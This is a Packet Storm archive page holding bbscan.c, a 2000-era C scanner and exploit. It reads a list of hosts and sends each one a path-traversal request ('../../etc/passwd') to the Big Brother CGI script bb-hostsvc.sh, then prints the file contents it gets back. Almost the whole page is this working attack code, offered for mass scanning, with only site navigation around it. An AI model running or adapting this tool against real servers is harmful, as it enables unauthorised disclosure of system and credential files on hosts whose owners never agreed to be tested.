exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

bbscan.c

bbscan.c
Posted Jul 13, 2000
Authored by Safety

Big Brother Scanner - scans for /cgi-bin/bb-hostsvc.sh which allows reading of any file on the system running Big Brother prior to version 1.4h.

tags | tool, cgi, scanner
systems | unix
SHA-256 | 5b760b555749e0bc228d293b9b05df55bbf2a42dcb3ab1727c7907a857069a84

bbscan.c

Change Mirror Download
/**** bbscan.c ****/

/*
*
* 2000-07-11
*
* Ripped from phfscan.c
* Big Brother Vulnarability scanner.
* Scans for /cgi-bin/bb-hostsvc.sh.
* If it exists you might be able to read files from
* the system. Good luck.
*
*
* Author: Safety@IRCnet who also discovered the bug.
* Safety@LinuxMail.ORG
*
*
* Credits: #roothat, #vastervik, #smile, Loki, crimson, self,
* Bjurr, Metoo, and everyone else who think they should
* be on this list.
*
* Special Thanks goes to Loki who are going to host and design
* my homepage.
*
*
* Usage:
*
* ./bbscan < hostlist > outputfile
*
*/




#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h>
#ifdef LINUX
#include <sys/time.h>
#endif
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>


int FLAG = 1;
int Call(int signo)
{
FLAG = 0;
}

main (int argc, char *argv[])
{
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int outsocket, serv_len, len,X,c,outfd;
struct hostent *nametocheck;
struct sockaddr_in serv_addr;
struct in_addr outgoing;

char bbvuln[]="GET /cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/passwd\n\n";

while(fgets(hosta,100,stdin))
{
if(hosta[0] == '\0')
break;
hosta[strlen(hosta) -1] = '\0';
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,"\n",sizeof(char));
outsocket = socket (AF_INET, SOCK_STREAM, 0);
memset (&serv_addr, 0, sizeof (serv_addr));
serv_addr.sin_family = AF_INET;

nametocheck = gethostbyname (hosta);

/* Ugly stuff to get host name into inet_ntoa form */
(void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],
sizeof (outgoing.s_addr));
strncpy(host, inet_ntoa (outgoing), 100);
serv_addr.sin_addr.s_addr = inet_addr (host);
serv_addr.sin_port = htons (80);
signal(SIGALRM,Call);
FLAG = 1;

alarm(10);

X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
alarm(0);

if(FLAG == 1 && X==0){
write(outsocket,bbvuln,strlen(bbvuln)*sizeof(char));
while((X=read(outsocket,FileBuf,8096))!=0)
write(1,FileBuf,X);
}
close (outsocket);
}
return 0;
}

**** EOF ****

--
Get your free email from www.linuxmail.org

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close